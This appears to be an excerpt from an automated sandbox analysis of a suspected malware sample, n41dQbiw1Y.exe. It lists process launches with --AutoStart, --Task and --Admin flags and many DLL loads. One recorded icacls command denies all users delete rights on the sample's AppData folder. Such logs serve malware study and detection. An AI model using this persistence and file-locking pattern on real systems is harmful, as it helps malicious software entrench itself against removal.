Source: unknown	Process created: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe "C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe" --AutoStart
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Process created: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe "C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe" --AutoStart
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Process created: C:\Users\user\Desktop\n41dQbiw1Y.exe "C:\Users\user\Desktop\n41dQbiw1Y.exe"	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Process created: C:\Users\user\Desktop\n41dQbiw1Y.exe "C:\Users\user\Desktop\n41dQbiw1Y.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Process created: C:\Users\user\Desktop\n41dQbiw1Y.exe "C:\Users\user\Desktop\n41dQbiw1Y.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Process created: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe --Task	Jump to behavior
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Process created: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe "C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe" --AutoStart
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Process created: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe "C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe" --AutoStart

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: drprov.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: davclnt.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: browcli.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Section loaded: fwpuclnt.dll
